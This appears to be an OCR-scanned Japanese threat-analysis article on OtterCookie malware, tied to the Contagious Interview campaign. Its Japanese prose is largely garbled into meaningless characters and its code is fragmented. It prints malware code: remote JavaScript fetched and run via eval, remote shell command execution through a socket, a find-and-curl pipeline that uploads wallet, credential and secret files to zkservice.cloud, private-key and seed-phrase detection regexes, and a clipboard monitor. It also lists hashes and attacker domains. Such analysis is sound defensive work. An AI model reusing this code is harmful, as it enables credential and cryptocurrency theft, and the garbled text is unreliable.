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OtterCookie#E1T3 50— X —(ZDOWWT L. ZNFE TIZWL L DA DL R— pBIGISITHRN IR TWE
T. INHLDLR—MIEBAINTWSES ‘) L JE—IHABISONT—X X7 O—F L., €D
cookie 7’ 0/NF o % JavaScriptI— R & L TEITL 7.

exports getCookie = asyncErrorHandler(async (req, res, next) => {
onst response = await axios.get('https://api np01nf io/df7448536e69d60cl4fc ")

evalwresponse data.cookie)

PO

F7-. Bifl(ZlavaScriptI— KA X7 O— FLTRITTENNX—HBRILTWET. Z0igs.
HTTPRF—XR R — R(F500& 72 >TH ). catch7 Oy 7 (ZHIEHAFE ) . JavaScripta— |~ HARITLE

ait axios.get('http://zkservice.cloud/api/service/token/2afa2a236f34c1c8b58ec@f27c571abc’)

.then((res) => {
return res.data;

.catch((err) => {
if (err.response.data) {
eval(err.response.data);

3
J

}i";
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reconnectionAttempts
reconnectionDelay: 2088,
timeout: 2888

Y

- exec(msg.message, { windowsHide: , stdip: ' , maxBuffer: 1824 % 1824 * 380 }, (error, stdout, stderr)
if (error)
.emit(*

ge', { result: stderr, ...msg, type:

o aMSY,
result: stdout,
code: msg.code,

t.emit( oIm

05: os.type(),
platform: os.platform(},
release: os.release(),
host: os.hostname(),
userInfo: os.userInfo(),
uid: wid

socketServerBI¥DcommandiZH W T, AT E—bAbESNI- TV FEBERTZE. K
FaAPNTFAI, BRET 7. BLSUBSEERGLREDT 7 A LESEEY 1L MC
B9 aF—%E&EL. JE— MEEBETBIHFHARONE LIz, Fzlsav > FXRcata~v > FARAWLT
RIRAR AT D FHBRMLTUWET,

find \"/home/user\" f \\( -path \".
-path \"node_modules
\"x/.cache\" -
A" —pru -
0 \"*x/.n3/ E F
tsbuildinfo\" —prune k.AppImage\" -pr path \"*.dll\" —prune D \".config\"
E \"x/.git/*\" —-p h \"x/.github/ h \"x/.config/
t th \"x/.bun/*\ —-path \".*\
th \"x/library/*\ t r u 1 \".nvm path \".plist\" -pru
\"Library\" -prune -o -path \"x/Library/*\' u o —path \"x/.nvm/x\" \\) -o \\( -iname k.envk\" -0 -iname \"xmetamas
e \'"xcredential i 0 n nkbihfbeogaeaoehlefnkodbefgpgknnk\" -
\"*recovery*\" -o e \'"xbackupx\" iname \"xaddressx ) —iname \"*myx\" -o > \"*.png\"
m screenshot i e \"*.doc\" -0 -i e 0 N . rtf\
Xlsx\" -0 —iname \" g 0 —iname \"xk.txt\" i € 5 0 \"config.js
e \".secret\ \"config.json\ . \"const.ts\" -o -in \'"*.
0 -iname .js\" -o —iname \"app.ts\" -o —iname \ . A" \\) grep -i -E -1 "\\b
)?(0x) 7 [0-9a-FA-F1{64} (\\\")?\\b' {} + | xargs -I {} curl —X POST -F 'file=@{}' -H 'path: {}' -H \"hostname:$(hostname)\" -H
\"userkey: un\" http://zkservice.cloud:5918/upload \\;\n

th \"*/.n2/*\" -pru
C path \
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9A IZHAlX M 7-OtterCookie TlF . BESEEY +L v MIET A F—DHEMBE I TFOEEINTULFE
9. 5 Z (LcheckForSensitiveDataR¥ Tld 1 — 1) 7 LOFESRL C A IERFRILTF v o7 LTWW
9. Zhn(d. 1LAMDOterCookie T, VE— AN TIL AV FIZL>TERRSINTUOET.

regexPatterns = {
bitcoinPrivateKey: /~[5KL][ 1{5@,51}$/,
ethereumPrivateKey: /([ 1{64})/,
seedPhrase: /= ([ 1+ ){11,23}[ l+=/,

checkForSensitiveData(filePath) {

fileContent = fs.readFileSync(filePath, 'utf8');

if {regexPatterns.bitcoinPrivateKey.test(fileContent)) {
return ;

}

if (regexPatterns.ethereumPrivateKey.test(fileContent)) {

return ;
}

words = fileContent.split(/s+/).filter(Boolean);
if {
regexPatterns.seedPhrase.test(fileContent) &&
words.length == 12 &&
words.length <= 24

return

% 1-11 A D OtterCookie|Z(F. AT & 9 (Zclipboardy & N9 T4 75 ) & FWTHEIwRADZ V) v 7R
— FEBA ) E— PAEELET. LA L. 9B DOtterCookie| ZFHENOHREIZ RSN HA .
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setTimeout |
makeLog('Installing clipboardy');
BXECSync
'npm install clipboardy ——save —no—warnings —-no-save ——no-progress —loglevel silent

{ windowsHide: ; Stdie: 'inherit

clipboardy = await [*clipboardy'};
lastClipboardContent =
timer;

handleClipboardChange(content) {
makelLog|content) ;

watchClipboard() {

Content = clipboardy.default. readSync();
currentClipbos ontent !== lastClipboardContent
clearTimeout(timer);
timer = setTimeout(() handleClipboardChange(currentClipboardContent), 588);
lastClipboardContent = currentClipboardContent;

h (e} {
makelogle.message

setInterval(watchClipboard, 588);
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Contagious Interview(3FEMBHZFITHER L THBFIAAT v 77— M LEITTH Y. F1-BEATHLHE

AERAZNTWS 28, THITIEEHNIBETT,
IoCs

7 7AINy S 1{E (SHA256)

d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106

e 7846a0a0aa%90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e
4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79
32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236

B{E%

e 45[.]159.248.55
e zkservice[.]cloud
e w3capi[.]Jmarketing

e payloadrpc[.]Jcom

SEER
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